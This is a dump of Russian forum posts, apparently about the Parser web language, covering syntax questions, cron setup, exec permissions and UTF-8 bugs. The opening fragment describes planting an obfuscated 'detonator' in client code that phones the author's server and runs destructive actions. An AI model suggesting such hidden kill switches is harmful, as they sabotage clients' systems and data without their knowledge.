посылает запрос на принадлежащий вам удаленный сервер. Если полученный от вас ответ его устраевает - все нормально, если не устраивает — выполняются заранее определенные деструктивные действия. Ну и плюс полная или частичная [url=\"http://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D1%84%D1%83%D1%81%D0%BA%D0%B0%D1%86%D0%B8%D1%8F\"]обфускация[/url] кода, чтобы как минимум затруднить поиск этого \"детонатора\"."
"57930","http://bash.org.ru/quote.php?num=66390\
\
только вы сначала сядьте, и держитесь покрепче..."
"57931","Дано.\
[code]$chars[^table::create{num	char\
1	а\
2	б\
3	в\
4	г\
5	д\
6	е\
7	ё\
8	ж\
9	з\
10	и\
11	к\
12	л\
13	м\
14	н} \
]\
^chars.menu{\
	^if(^form:show.int[] == ^chars.num.int[]){\
		<font size=\"+1\">^chars.char.upper[]</font>\
	}{\
		<a href=\"/${chars.num}.html\">^chars.char.upper[]</a>\
	}\
}[ ][/code]\
\
[b]В .htaccess:[/b]\
RewriteRule ^([0-9]+)\\.html$ index.html?show=$1 [L,QSA]\
\
Так вот, всё работает, кроме буквы под номером 12. При нажатии на букву с номером 12 всё исчезает.\
\
В чём причина может быть?"
"57934","Это фигня. Я вот вчера прочёл эту заметку и написал класс на PHP для проверки булевой переменной через стрелку Пирса.\
\
[code]<?php\
    class BooleanVariable {\
\
        /**\
         * Internal value container\
         * @private boolean $value\
         */\
        private $value;\
        \
        /**\
         * Object constructor\
         * @param boolean $value\
         */\
        public function __construct($value) {\
            $this->value = $value;\
        }\
        \
        /**\
         * Returns true if value is true.\
         * @return boolean\
         */\
        public function isTrue() {\
            return !$this->pirs($this->value, false);    \
        }\
\
        /**\
         * Returns true if value is false.\
         * @return boolean\
         */        \
        public function isFalse() {\
            return !$this->isTrue();\
        }\
        \
        /**\
         * Pirs arrow boolean function\
         * @param boolean $lValue\
         * @param boolean $rValue\
         */\
        public function pirs($lValue, $rValue) {\
            return !($lValue || $rValue);\
        }\
      \
    }\
    \
    $a = new BooleanVariable(true);\
    $res = $a->isTrue();\
    var_dump($res);\
\
?>[/code]"
"57935","Проверьте:\
1. Что нет нигде других, конфликтующих RewriteRule.\
2. Что ваш браузер не отдает 12-ую страницу из кеша."
"57938","Насчет $VARIABLE[] с удалением ее из памяти не согласен. По мне есть метод ^memory:compact[]. Иначе просто придется делать Parser как JavaScript, чтобы он сам следил за сборкой мусора, что мне кажется излишним.\
\
[quot]А метод bool для класса string вообще считаю безсмысленным.[/quot]\
Если возникает интерес ответить на мои сообщения, то и должен возникать интерес обосновывать Ваше мнение.\
\
\
[code]\
# было так\
$hParams[\
	$.is_debug(1)\
]\
\
^if(^hParams.is_debug.int(0)){\
	...\
}\
\
# хочу чтобы работало еще так\
$hParams[\
	$.is_debug(true)\
]\
[/code]\
\
P.S. безсмысленным -> бессмысленным\
[i]Документацию по русскому языку иногда нужно заного просматривать...[/i]"
"57939","А каким образом выводить текст под углом 90 градусов (точнее 270, так удобней читать)?\
[code]^картинка.text(x;y)[текст надписи][/code]"
"57940","[quot]\
А метод bool для класса string вообще считаю безсмысленным.\
[/quot]\
\
считаю также. на самом деле и наличие .bool для int/double для меня сомнительно, т.к. в моём представлении основное применение типа bool примерно такое:\
[code]\
@main[]\
...\
^if(^isFieldsOk[]){\
  ...\
}{\
  ...\
}\
\
@isFieldsOk[]\
$result(\
	def $form:name\
	&& def $form:email\
)\
[/code]\
\
\
[quot]# хочу чтобы работало еще так\
$hParams[\
	$.is_debug(true)\
][/quot]\
\
так работает прямо сейчас."
"57941","Имел ввиду ошибку: \"is 'bool', it has no elements\".\
\
[code]\
# before\
# (можно было передать любую строку в параметр, класс бы сам разобрался, что будет)\
^if(^hParams.IS_DEBUG.int(0)){\
	$SYSTEM.IS_DEBUG(^hParams.IS_DEBUG.int(0))\
}\
\
# after\
# (чтобы поддерживать bool приходиться немного править)\
$bIsDebug(false)\
^if($hParams.IS_DEBUG is 'string'){\
	^if(^hParams.IS_DEBUG.int(0)){\
		$bIsDebug(true)\
	}\
}\
^if($hParams.IS_DEBUG is 'int' || $hParams.IS_DEBUG is 'double'){\
	^if($hParams.IS_DEBUG){\
		$bIsDebug(true)\
	}\
}\
...\
[/code]\
\
Либо вариант для тех кто в параметрах указывает неподходящее значение Parser выведет: \"invalid number (double)\"."
"57943","ничего не понял по сути проблемы (is 'bool'), но хранить в  переменных с одним именем значения разных типов - клиника. и лично я и пальцем не шевельну чтобы облегчить \"страдания\" тем, кто так делает.\
\
P.S. вы с bool работаете очень странно: выполняете условие и в зависимости от него ручками пишите что-то в переменную. условие уже имеет результат bool, т.е. вашу вторую конструкцию можно запросто заменить на такое (+ я не пойму что вам запрещает делать .int у чисел):\
[code]\
$bIsDebug(^hParams.IS_DEBUG.int(0) != 0)\
[/code]"
"57944","Для совместимости кода.\
Т.е. классу передавалось значение класса int. Раньше при инициализации использовалось:\
[code]\
$oTest[\
	$.is_debug(1)\
]\
[/code]\
А теперь я хочу постепенно переводить на bool, а именно:\
[code]\
$oTest[\
	$.is_debug(true)\
]\
[/code]\
Чтобы не выдавало ошибку, думал для int и string сделать метод bool.\
\
Но в итоге думаю обсуждать нечего..."
"57945","Насколько я помню Парсер, который лежит на http://pf.proc.ru, должен отрабатывать код:\
[code]\
  $bool(true)                                                                                                                                           \
  ^bool.int[]                                                                                                                                           \
  ^bool.int(1)\
[/code]"
"57947","$int(1)\
^int.bool[] - > true\
\
Миша, насколько, знаю добавит преобразование типа bool в следующей версии."
"57949","Как сделать цикл в более 10 тыр итераций без получения \"endless loop\"?\
Где то, когда то натыкался здесь - что  проблему МОЖНО обойти, но поиском найти не смог :(\
\
Нужно для отладочных целей, т.е. я понимаю для чего мне это нужно :)"
"57950","Попробовал сделать некую форму, используя [url=\"http://www.parser.ru/examples/js_http_request/\"]Класс для работы с Subsys_JsHttpRequest[/url]. Форма очень простая  - есть (внутри тега <form name=\"form_1\"> ) первый select (для примера name=\"select_1\" ,  при изменении которого backend формирует и возвращет в броузер 2-й select ( name=\"select_2\" ). И столкнулся с такой проблемой - все формируется отлично на экране, но когда посылаю форму form_1, при формировании новой страницы, значения $form:select_2 нету, либо от старого select-a (который потом был заменен через AJAX).  Сегодня вечером выяснилось, что в IE все нормально, а в FF2 и Opera 9  - не работает. \
Привожу код на всякий случай....\
\
[code]<form name=\"main_form\">\
<td>\
^create_select_from_table_v2[\
	$.select_tab[$type_paper_tab]\
	$.select_name[select_1]\
	$.select_index[id]\
	$.select_value[name]\
	$.selected_stop[$print_tab.id_group_paper]\
	$.id[type_paper_$i_list]\
	$.obj_style[width: 80]\
	$.add_param[onChange=\"doLoadParser(true,'select_1','PaperID_$i_list', 'select_2',3)\"]\
	<!-- doLoadParser() - слегка модифицированная функция  - взята из примера  Misha v.3 -->\
\
]				\
</td>\
<td>\
	<!-- Результаты работы (заполняется динамически) -->\
	<div id=\"PaperID_$i_list\">\
	<!-- Тут появляется select_2, но после form.send() $form:select_2 !def :( -->\
	</div>\
<td>\
</form>[/code]"
"57952","В доке сказано:\
[quote]\
Если в шаблоне не используются круглые скобки, то оператор возвращает булевое значение истина при обнаружении подстроки, соответствующей шаблону, или ложь, если совпадений не найдено. [/quote]\
\
На самом деле если совпадение не найдено то возвращается false, но если найдено - то возвращается не true, а таблица с одной строкой, причем пустой (если не указано ' )\
\
[code]@main[]\
$string[baa]\
$t[^string.match[0]][/code]\
\
в $t - обьект класса bool (false)\
\
[code]\
@main[]\
$string[baa]\
$t[^string.match[a]]\
^t.count[][/code]\
\
$t - обьект класса table\
Результат - 1\
\
Чуть далее в доке:\
\
[quote]Если указана опция поиска g, будет создана [b]таблица найденного по шаблону[/b] (по одной строке на каждое вхождение). \
При этом не важно, есть в шаблоне круглые скобки или нет. \
\
Внимание: значения столбцов prematch, match, postmatch вычисляются только если указана опция ' .[/quote]\
\
если в предыдущем добавить опцию g, то будет создана опять же пустая таблица с двумя строками. (если совпадений 100 - то и строк будет сто). Непонятно зачем она вообще создается, не правильнее ли сразу возвращать количество совпадений (int) если не укзана опция ', и false (или 0), если ни одного не найдено?"
"57953","Необходимо из Parser выполнить Vbscript с параметрами.Можно ли такое свершить или как извратиться с такой связкой?\
Спасибо за ответы!"
"57954","причём игнорируя примеры.\
\
[code]$str[123]\
^if(^str.match[1]){true}{false}\
[/code]\
\
Если брать ваш пример то:\
\
[code]$string[baa]\
$t(^string.match[b])\
\
^if($t){true}{false}[/code]\
\
вернёт true. Обратите внимание на скобки.\
\
Во вторую часть вопроса не вникал, но думаю проблема та же."
"57956","у меня в 100% случаях в метод передаются парамеры, написанные мною ручками в коде. там бывает или bool или int.\
\
т.е. достаточно в условиях писать (ну... после $hParams[^hash::create[$hParams]]):\
[code]^if($hParams.IS_DEBUG){...}{...}[/code]\
\
приводить к bool, хранящейся в отдельной переменной, может потребоваться если должно отработаться несколько условий, и резальтут будет использоваться в нескольких проверках, например:\
[code]\
$bDebug($CONST.IS_DEBUG || $hParams.IS_DEBUG)\
^if($bDebug){...}{...}\
[/code]\
\
и в общем случае вам должно быть все равно в каком виде придет в метод параметр: число или bool.\
\
другое дело когда что-то может придти от пользователя. именно в этом случае нам нужны .int & Co (как действовать в этом случае сказано например в книге \"Совершенный код\" на стр. 199 и не только :-P )\
\
P.S. планирую добавить более цельную реализацию bool, но ^string.bool(true|false) с очень большой вероятностью там не будет."
"57957","По-моему никак нельзя. Только через exec, разве что, но это будет действовать только на windows-сервере."
"57959","раньше не было bool, возможно поэтому было сделано так, ибо в скалярном контексте значением таблицы является количество строк в ней. поэтому для проверки в условии неважно - bool там или таблица с одной строкой.\
\
P.S. посмотрю, возможно смогу внести изменения, чтобы ситуация соотв. документации."
"57960","Т.е. оказывается метод bool для класса int/double. Даже скорее всего только для int.\
\
Здесь писали, что Вы возможно добавите этот метод. Мне интересно что будет в этом случае:\
[code]\
$bTest(false)\
\
^if(^bTest.bool(true)){\
	true\
}{\
	false\
}\
[/code]\
\
[i]1. Метод bool для класса bool не найден?[/i]\
[i]2. false?[/i]\
\
\
P.S.\
[code]\
$iTest(0)\
\
^if(^iTest.int(1)){\
	true\
}{\
	false\
}\
# результат: \"false\"\
[/code]"
"57961","Когда запускаю на локальной машине, то просто виснет wscript и висит."
"57962","Суть проблемы в следующем: надо при нажатии на кнопку создать пользователя на сервере(что и делает скрипт).Но как сие сделать непонятно:("
"57963","Требуется устанавливать задания в cron программно из парсера. Например, что-то типа:\
\
[code]$crontab[^file::exec[crontab;;tasks.txt]][/code]\
\
Но crontab не программа и так не запускается.\
\
Вопрос, как добавить программным путем новые задания в cron из Парсер-скрипта?"
"57964","Как вариант\
Ни когда не пробовал\
Создать в p3 скрипте и запустить *.bat файл с соответствующими командами(вроде должно работать, если установлено расширение командной строки от MS)"
"57965","[code]$string[baa]\
$t(^string.match[a][g])\
^if($t is int){$t}\
[/code]\
\
вернёт 2.\
\
Так что на мой взгляд всё верно. Возможно требуется немного доку подправить или добавить ещё пару примеров с правильными скобками."
"57966","когда в скрипте ошибка, вишелл дает вам модальное окно, где пишет инфу по ошибке - пока вы окно не закроете скрипт висит в памяти. Сперва отредактируйте скрипт, проверьте его работоспособность, и уже после этого запускайте из Парсера."
"57967","все задания КРОНа пишутся в файл с определенными параметрами. Вам нужно всего лишь добавить в этот файл ваши задания. Но, мне кажется, что если сервер не ваш собственный, или у вас нет прав на крон - у вас ничего не выйдет."
"57968","Если просто запускаю то все отрабатывает!"
"57969","Просто в Ваших контр-примерах Вы используете числовой контекст\
И как сказал Миша - в таком случае неважно, таблица там, число или bool - результат будет одинаков.\
\
но в $t - будет именно таблица при найденных совпадениях, а не bool, как сказано в доке."
"57970","То может реализуете мое предложение, чтобы ^string.match[шаблон], если не указаны круглые скобки и опция ' возвращало число, оответствующее количеству совпадений? С совместимостью вроде проблем не будет, но на практике это более ценная инфа, нпример кроме \
[code]^if(^string.match[шаблон]){что то}{что то}[/code]\
\
можно и так \
[code]\
^if(^string.match[шаблон][b]>1[/b]){что то}{что то}[/code]\
\
только без создания пустой таблицы"
"57971","Вебсервер от лица какого пользователя запущен?\
\
Есть ли у этого пользователя права на выполнение того, что делает скрипт?\
\
Есть подозрение, что вам с администраторскими правами всё удаётся, а вебсерверу выдаётся любезное \"Access denied\"."
"57973","причина: мне не нравится, когда один метод может возвращать разные типы данных (строка, таблица, bool). считаю что в случае 3 -х параметров должна возвращаться строка, в случае двух - всегда таблица вне зависимости от опций. при этом можно элементарно использовать таблицу в скалярном контексте чтобы получать значение найденного количества совпадений.\
\
т.е.:\
1. не найдено - таблица с 0 строк\
2. найдено - таблица с найденным количеством строк (если задана опция 'g', то может быть > 1 строки)\
\
+ переключать результат не с помощью опция, а с помощью круглых скобок в регуларном выражении считаю неприемлемым. причина - нечитабельность, например: $uVar[^sText.match[^untaint[regexp]{$sRegExp}]] - что будет в $uVar?\
\
можно завести отдельную новую опцию, подавляющую создание таблицы а возвращающую количество найденных совпадений (никаких bool, только int) для экономии памяти (если кнечно это возможно, т.к. поиск по шаблону делает отдельная либа, надо смотреть код).\
\
P.S. а так '^if(^string.match[шаблон]>1){что то}{что то}' можно  будет если избавиться от false в случае неудачного поиска, т.к. таблица в скалярном контексте == количество строк в ней."
"57974","И сделать это программным путем."
"57975","... поместить (ручками) в крон команду вызова некоторого скрипта из вашей домашней паки, а уж этот скрипт генерить програмно Парсером."
"57976","Мне нужно из Парсера выставлять все параметры заданий в кроне!"
"57977","Мне в техподдержке сказали следующее:\
\
[quote]Crontab можно запустить из bash, адрес bash usr/local/bin/bash\
как в php скрипте реализовать команду bash я к сожалению вам подсказать не \
могу.[/quote]\
\
Как это осуществить в Парсере?"
"57978","вам в тех.поддержке дали явный путь к башу - напишите на баше скриптик, который будет добавлять входные аргументы СТДИН в крон, пропишите в первой строке скрипта путь к башу - usr/local/bin/bash - и запускайте этот скрипт из Парсера. Данные, которые вам нужно вписать в крон, передавайте в СТДИН скрипта.\
\
только аккуратно надо с таким методом - а то доброжелатели такого могут вам надобавлять в крон - ахнете..."
"57979","напишите руками в кроне один единственный вызов, с самой частой периодичностью, какая вам может понадобиться, и вызывайте свой самодельный крон-скрипт. Вариант, который предлагает Sumo, мне очень нравится, т.к. по каждому чиху ковырять системный файл крона не есть хорошо, даже в безопасных никсах. В своем скрипте уже напишите свой кроннер (или как его назавть правильнее), который будет делать вам все, что вы от него пожелаете.\
\
Я бы сделал именно так. Кстати, этот метод активно используется на Вин-хостингах, где нет крона."
"57980","Обычно кронтаб лежит в /usr/bin/crontab Оптимально сделать симлинк на него в своей домашней папке и пускать его через  ^file::exec, хотя можно построить к нему путь относительно документ-рута (получится как-нибудь так: /../../../usr/bin/crontab, но так лучше не делать). \
\
Настоятельно рекомендую пойти более корректным путем и сделать свой крон (задача очень легкая, да и выгод может оказаться больше, особенно если запускаются Парсеровские скрипты), вызов которого поставить в системный - проблем с переносом на другие хостинги будет минимум."
"57982","попробуйте запустить через cscript, чтобы сообщение об ошибке попало в stderr, а не модальным окном на невидимый экран."
"57983","1. вариант напрямую к crontab\
2. к башу через sh-скрипт\
3. свой крон (у кого есть такой класс уже готовый?) который повесить на системный\
Всем спасибо!"
"57984","Есть метод  ^PrintList[where]\
он делает выборку с базы данных и выводит на экран строки. Выборка - 10-20 строк, по 500-2К символов в каждой записии.\
\
Хочу разбить его на 2 метода, что бы разнести по разным класcам, типа разделить данные и представление:) \
Получится что-то похожее на\
\
[code]\
 $table[ ^db:GetList[where] ]\
 ^design:PrintList[$table]\
[/code]\
\
Меня интересует насколько данный подход затратен по ресурсам, то есть я правильно понимаю что $table будет два раза копироватся?\
В принципе особо смысла делить, кроме как \"красивости\" кода нету.. стоит ли? исходим из предпосылки что производительность немного критична"
"57985","Ибо там передача по ссылке, а не по значению."
"57986","правильная логическая организация програмы очень важна.\
\
и как вам уже ответили таблица копироваться не будет (чтобы она копировалась вы должны написать: $tDest[^table::create[$tSource]]), а разницу в затратах памяти и производительности вы можете изменить используя парсерный класс $rusage или использующий его оператор lib.p/run_time."
"57987","Создал сайт на HTML, теперь хочу его перенести на PARSER, поставил ету прогу но так ничего и непонял че куда тыкать и как делать. Подскажите как HTML перенести на PARSER и как с ним работать"
"57988","- вы читаете FAQ и документацию и делаете \"уроки\" (можно скачать и поставить Швейцарский ножик, где первый урок уже готов)\
- вы думаете сами\
- если столкнулись с проблемой, вы её формулируете, описываете что вы делаете, что вы сделали, что ожидали получить и что получили, и вам помогают. \
\
крики \"ничего не понял/ничего не получается\" тут игнорируются."
"57990","- все парсерные объекты передаются по ссылке (более того нужно быть внимательно с хешами)\
- операции с любыми объектами можно измерить с помощью класса rusage"
"57991","хм, ясно... тогда мне понятна ситуация которая сегодня была, делал\
$Categories - таблица.\
\
 $t[$Categories]\
 ^Categories.locate[Url;$t.Url]\
При этом перемещался как указатель в $Categories так и в $t, А я не мог понять где ошибка :) Я думал  что это $t[$Categories] создаст копию.\
\
Кстати а в хелпе нету по поводу того когда по ссылке передается, а когда копируется? я не нашел."
"57992","Допустим у меня есть таблица $tbl в которой лежат строки вида\
	\
[code]id  name  ...\
1  name1  ...\
2  name2  ...\
3  name3  ...\
...  ...  ...[/code]\
\
в доке сказано: \
[quote]...\
^таблица.hash[ключ][столбец значений][опции]\
...\
Опции - хеш с опциями преобразования.\
[/quote]\
\
В доке явно не сказано в каких комбинациях опции допустимы, а в каких нет и тем не менее, если так:\
[code]\
^tbl.hash[id;name;$.distinct[tables]][/code]\
\
то это работать не будет: \
[quote]in distinct[tables] mode you may not specify value field(s)[/quote]\
\
не очень ясно с чем связано это ограничение"
"57993","Приветствую всех обитателей сего форума!!!\
Я, как любой другой новичок, хочу знать все сразу. Но отдаю себе отчет, что сразу ничего не бывает.\
Хочу попросить об одолжении помочь мне в следующем.\
У меня есть готовый сайт, собранный на парсере. В нем все здорово, все работает, все открывается. Собирал не я, но с редактированием и правкой есть проблема.\
Проблема следующая: как мне локально на жестком диске редактировать весь контент? Не могу никак допетрить с описанием корневого каталога в файлах конфигурации.\
Можть это все надо как-то хитро списать на жесткий диск или что-то еще? Помогите пожалуйста в сложившейся проблеме?\
Заранее благодарен!\
\
P.S.\
Что хочу сказать по поводу самого Парсера... Установил на компутер, но как с ним работать не знаю.... Читаю мануал... Ясно, но не все... В целом, довольно заманчиво :-)"
"57997","Пишу туда ?\
--\
нужен фриленс parser программист. з.п. от 800 до 1500 в месяц- зависит от объема сделанной работы.\
-\
пишите, пожалуйста, ze_fobos@mail.ru Олегу или звоните 89036105743 (Москва)\
--\
P.S. стучитесь 109146847"
"57998","Обычный текст поворачивается при помощи javascript и может быть немножко css еще.\
В инете примеры есть."
"57999","Ничего не получается.\
пишу ^file::exec[/creat.bat]\
в creat.bat просто копирую файл из одного места в другое.\
и в ответ \
U[quote]nhandled Exception\
The server encountered an unhandled exception and was unable to complete your request.\
\
Please contact the server administrator, and inform them of the time the error occurred, and anything you might have done that may have caused the error.\
\
More information about this error may be available in the Parser error log or in debug version of unhandled_exception.\
[/quote]"
"58000","Прочитайте первый пункт и посмотрите, что нужно сделать, чтобы увидеть подробное сообщение об ошибке."
"58001","Спасибо за подсказку!\
Consider adding shbang line (#!x:\\interpreter\\command line)"
"58002","exec failed - Отказано в доступе (5). Consider adding shbang line (#!x:\\interpreter\\command line)????"
"58003","[url=\"http://www.parser.ru/forum/?id=56315\"]http://www.parser.ru/forum/?id=56315[/url] - вот тут Азат написал неплохие методы для автоформирования заголовков страниц. Но если ваш сайт на утф - вы нервно курите.\
\
У меня сайт на утф. А заголовки нужны, ибо заказчик жалуется, что его страницы индексируются недостаточно эффективно. Страницы динамические, и, кроме как парсить эх регекспами, я решения пока не вижу. Но вот Парсер их парсить (каламбур...) отказывается.\
\
Задача. Заставить появляться заголовки.\
Решение. Написать эти методы на Перл - прогонять через них Парсером, что есть Задача №2. Кто поможет переписать данное в Перл?\
\
[code]@getMetaKeywords[sText][tKeyword;hKeyword;tKey]\
$sText[^sText.lower[]]\
# удаляем тэги\
$sText[^sText.match[<.*?>|&.*?^;][g]{ }]\
# выбираем все слова\
$tKeyword[^sText.match[([\\w\\-]+)][g]]\
# удаляем слова короче 3-х букв\
$tKeyword[^tKeyword.select(^tKeyword.1.length[] > 3)]\
# сортируем по длине\
^tKeyword.sort(^tKeyword.1.length[])\
# собираем уникальные корни слов\
$hKeyword[^tKeyword.hash{^tKeyword.1.left(5)}[$.distinct[tables]]]\
$tKey[^hKeyword._keys[]]\
# сортируем слова по частоте\
^tKey.sort($hKeyword.[$tKey.key])[desc]\
# отбираем первые 20 слов\
$tKey[^table::create[$tKey;$.limit(20)]]\
# перечисляем через пробел\
$result[^tKey.menu{$hKeyword.[$tKey.key].1}[ ]]\
\
@getMetaDescription[sText][tMatch]\
# удаляем тэги\
$sText[^sText.match[<.*?>|&.*?^;][g]{ }]\
# берём кусок не длиннее 200 знаков\
$tMatch[^sText.match[^^(.{1,200}[\\.\\?!])]]\
$result[$tMatch.1][/code]"
"58004","Есть такой код \
[code]\
$t(4)\
$result1[5 *]\
$result1<br>\
^while($t>0){\
	$cid[$Categories.Pid]\
	$result1[$result1 $t]\
	^t.dec[]\
	- $result1<br>\
}{\
$result1[$result1 *]\
= $result1<br>\
}\
$result1\
[/code]\
Получаю в конце \"5 * 4 3 * 2 * 1 *\" хотя ожидал получить \"5 * 4 * 3 * 2 * 1\". Что случается с '*' которая пропадает между 4 и 3 и появляется в конце?\
\
отладочная печать выдает вот что\
\
5 *\
- 5 * 4\
= 5 * 4 3 *\
- 5 * 4 3\
= 5 * 4 3 * 2 *\
- 5 * 4 3 * 2\
= 5 * 4 3 * 2 * 1 *\
- 5 * 4 3 * 2 * 1\
5 * 4 3 * 2 * 1 * \
\
\
\
5 *\
--- 5 * 4\
== 5 * 4 3 *\
--- 5 * 4 3\
== 5 * 4 3 * 2 *\
--- 5 * 4 3 * 2\
== 5 * 4 3 * 2 * 1 *\
--- 5 * 4 3 * 2 * 1\
5 * 4 3 * 2 * 1 * \
\
Это так и должно быть, я не правильно понимаю логику работы или что?"
"58005","что нужно сделать?\
\
это не подойдет? \
[code]$t(5)\
^while($t>0){$t * ^t.dec[]}[/code]\
\
может это вам поможет?\
[code][b]^while(условие){тело}{разделитель}[/b] \
\
[i]Оператор while повторяет тело цикла, пока условие истинно. \
Если условие заведомо ложно, тело цикла не выполнится ни разу.[/i] \
\
[b]Разделитель[/b] - строка или код, который выполняется перед каждым непустым не первым телом.[/code]\
\
ну, или в крайнем случае\
[code]$iCounter(4)\
$sResult[5 *]\
$sResult<br />\
^while($iCounter > 0){\
	$sResult[$sResult $iCounter]\
	--- $sResult\
	<br />\
	^iCounter.dec[]\
	$sResult[$sResult *]\
	== $sResult\
	<br />\
}\
$sResult[/code]"
"58006","Это упрощеный код, просто для примера, который просто показывает ситуацию, мне интересно это я не правильно понимаю логику или ошибка. Реальная задача была другая и я уже ее решил.\
Хелп, я разумеется читал с него и сделал вывод что приведенный пример должен работать так:\
\
5 *\
- 5 * 4\
= 5 * 4 *\
- 5 * 4 * 3 \
= 5 * 4 * 3 *\
- 5 * 4 * 3 * 2\
= 5 * 4 * 3 * 2 *\
- 5 * 4 * 3 * 2 * 1\
5 * 4 * 3 * 2 * 1\
\
Он выводит не совсем другое, вот мне и интересно в чем проблема :)\
\
Да и еще тут \"Разделитель - строка или код, который выполняется перед каждым непустым не первым телом.\"\
Что означает \"непустым телом\". Я пока понимаю кака \"не выполнится после последней итерации\", верно?\
\
P.S. в предыдущем посте 2 раза запостил вывод, сорри это опечатка. И еще строчку $cid($Categories.Pid) можно выкинуть с примера, тут она осталось от реально задачи и роли не играет"
"58008","Спасибо теперь ясно, а я минут 20 потратил пытаясь понять в чем прикол, пока не решил переписать по другому :)\
\
Предлагаю добавить эту строчку в хелп\
\"разделитель вычисляется в тот момент, когда уже вычислена следующая строка, и стало ясно что она не пустая.\" или даже \"...выполнена следующая итерация, и стало ...\"\
\
И еще было бы неплохо уточнить, что такое тут не пустая строка. Потому что, я например, не могу сейчас себе четко представить как там определяется пустая строка или нет.:("
"58009","Почему тогда в таком случае\
\
@f[a]\
$a(2)\
\
@main[]\
$t(1)\
^f[$t]\
$t\
\
На экране получаем '1' а не '2'?\
Значит получается, что все таки в функции у нас копия обьекта, а не оригинал как должно быть при ссылке?"
"58010","Дело в том, что не переменная содержит ссылку, а она передана по сслыке. При присвоении ($a(2)) фактически создается новый объект (переменная $a теперь ссылается на область памяти, содержащую \"2\") и ссылка с объектом ($t) теряется. \
\
А вот так будет работать:\
[code]\
@fun[a]\
  $a.value(3)\
\
@main[]\
  $var[ $.val(1) ]\
  ^func[$var]\
  $var.value  \
[/code]\
\
И еще. Как я понимаю Парсер производит неявные преобразования простых типов (string, int, double) при передаче параметров:\
[code]\
@main[]\
  $var(1)\
  ^func1[$var]\
\
  $var[1]\
  ^func2($var)\
\
@func1[a]\
  $a <- здесь уже содержится строка, а не число\
\
@func2[a]\
  $a <- а здесь на прийдет не строка \"1\", а число 1\
\
[/code]"
"58011","1. хотел бы предложить делать «design.», а не «design:»\
2. мы очень активно используем XSLT, ваша задача очень красиво на него ложится. подумайте..."
"58012","$hash.$id это всегда таблица, а значит\
$hash.$id.name даст желаемый столбец.\
тот факт, что рядом в таблице $hash.$id будут находиться другие столбцы вам обычно не мешает.\
\
важно тут то, что шапка таблицы, а также строчки таблиц это ровно те самые структуры в памяти, что являются частью исходной $table, т.е. не изменяя структуру таблицы в результате мы изрядно экономим память.\
\
другими словами: шапка таблицы и строки таблицы, это не копии, а прямо исходные строки (указатели на них)."
"58014","Александр, Parser - Ваш язык и вы его знаете от и до\
А я его вижу снаружи и знания о том, что и как в нем устроено черпаю из [b]доки[/b], ну и конечно из форума \
В доке об этой фиче ничего не сказано, более того, она совершенно неочевидна (при преобразовании в хэш указать нужные столбцы можно, а в хэш таблиц - нельзя) поэтому полез с вопросом сюда...\
\
\
Насчет оптимизации понял, остался другой вопрос. Допустим таблица состоит из 20-... полей, а я хочу дальше с этим хэшем таблиц работать тем или иным образом, но мне достаточно двух-трех, остальные избыточны для задачи. Таскание с собой лишнего мусора (например в случае копирования в новый хэш) не будет влиять на производительность?"
"58015","насчёт неочевидности я не вполне согласен ;)\
если вы хотите то, что в доке явно не написано, но при запуске теста получаете сообщение \"нельзя\", значит \"пока точно нельзя\". ambiguity resolved.\
\
про оптимизацию, видимо, я недостаточно ясно выразился.\
в большинстве случаев [i]ничего никуда[/i] не дублируется.\
вы можете напрямую промерять расход памяти при помощи rusage."
"58016","Поставил парсер для freebsd 6.1 на мастерхост. Все работает, но при обращении к auth.p выдается ошибка\
 /www/modules/auth.p(958:23): 'now' is 'date', not a method or junction, can not call it [parser.runtime]\
\
в чем причина? заранее спасибо"
"58018","Такое ощущение, что у Вас в этой строке вместо\
\
[code]$.dt_access[^now.sql-string[]][/code]\
\
стоит\
\
[code]$.dt_access[^now[]][/code]"
"58019","не разбирался с задачей, но если заменить:\
[code]\
$tKeyword[^sText.match[([\\w\\-]+)][g]]\
[/code]\
хотя бы на\
[code]\
$tKeyword[^sText.match[([^^\\s,\\.!\\?\\d]{5,})][g]]\
[/code]\
оно уже работает, проблема только в выборке\
подумайте над регулярным выражением в этом месте, уверен можно обойтись без Perl"
"58020","получаем следующее\
[code][b]lower[/b]\
change_case_UTF8 error: end pointers do not match[/code]\
\
это баг Парсера - при УТФ он со строками криво работает - об этом уже писалось. Патча я пока не видел, поэтому нужны методы на Перл."
"58021","1. Чем design. принципиально лучше чем design: ?\
2. XSLT не знаю, не дорос еще :) И не уверен что стоит его осваивать для этой задачи.\
\
p.s. Попробывав перейти на классы, но все таки вернулся к обычным операторам просто разнесенным по разным файлам. Потому что есть набор глобальных переменных, которые нужно использовать везде. При варианте с классами приходится писать $MAIN:var:( а это придется сейчас заново прочесывать уже вест написанный код + раздувает код, ухудшает читаемость. Оставлю классы для больших проектов:)"
"58023","Это Мишин класс, и в этоих строчках я ничего не менял\
там стоит $.dt_access[^now.sql-string[]]"
"58025","Ничего не получается.\
пишу ^file::exec[/creat.bat]\
в creat.bat просто копирую файл из одного места в другое.\
и в ответ \
exec failed - Отказано в доступе (5). Consider adding shbang line (#!x:\\interpreter\\command line)"
"58027","а у меня на трех - поэтому и выбрал УТФ. На русском проблем как бы нет, но вот, допустим, на турецком - ошибка. Мне нужен кросс-кодировочный вариант решения моей проблемы.\
\
Так что - никто не перепишет мне это в Перл?"
"58029","неужели вы ее сами не понимаете?\
Вам же ясно говорит система - [b]Отказано в доступе[/b]!\
\
Только что, из интереса, попробовал запустить тестовый батник у себя - все путем выполняется.\
\
Ваша проблема в правах на выполнение программ - у вас их нет. Если сервер ваш - дайте их себе, если не ваш - выпросите у тех.поддержки хоста."
"58030","все методы работы со строками Парсера с УТФ - багнутые. Тот же match херит всю кодировку, выводя вместо специфических символов просто пробелы. Я уже пробовал комментировать сроку с lower - результат не лучше.\
\
Короче - I need Perl methods."
"58031","[quote]\
lower для чего используется?\
[/quote]\
для того чтобы в список ключевых слов не попали одновременно:\
[code]слово Слово ключевое Ключевое[/code]"
"58032","точно помогает предложенное мной раньше изменение match \
с другим языками не пробовал, мб посмотрите?"
"58034","В том то и дело:\
Права даны на папку \"полный доступ\"(уже даже расшарил)\
На веб-узел \"Разрешен запуск сценарии и исполняемых файлов\"\
и все одно и тоже!"
"58035","стоит подумать над выражением в match:\
[code]\
$tKeyword[^sText.match[([^^\\s,\\.!\\?\\d]{5,})][g]]\
[/code]\
я считаю его не совсем корректным\
и уберите строку:\
[code]\
$tKeyword[^tKeyword.select(^tKeyword.1.length[] > 3)]\
[/code]\
она не нужна так как длина проверяется уже в match"
"58036","в скачанном мной auth.p в строке 958 нет упоминания о 'now'.\
\
сообщите:\
- версию auth.p\
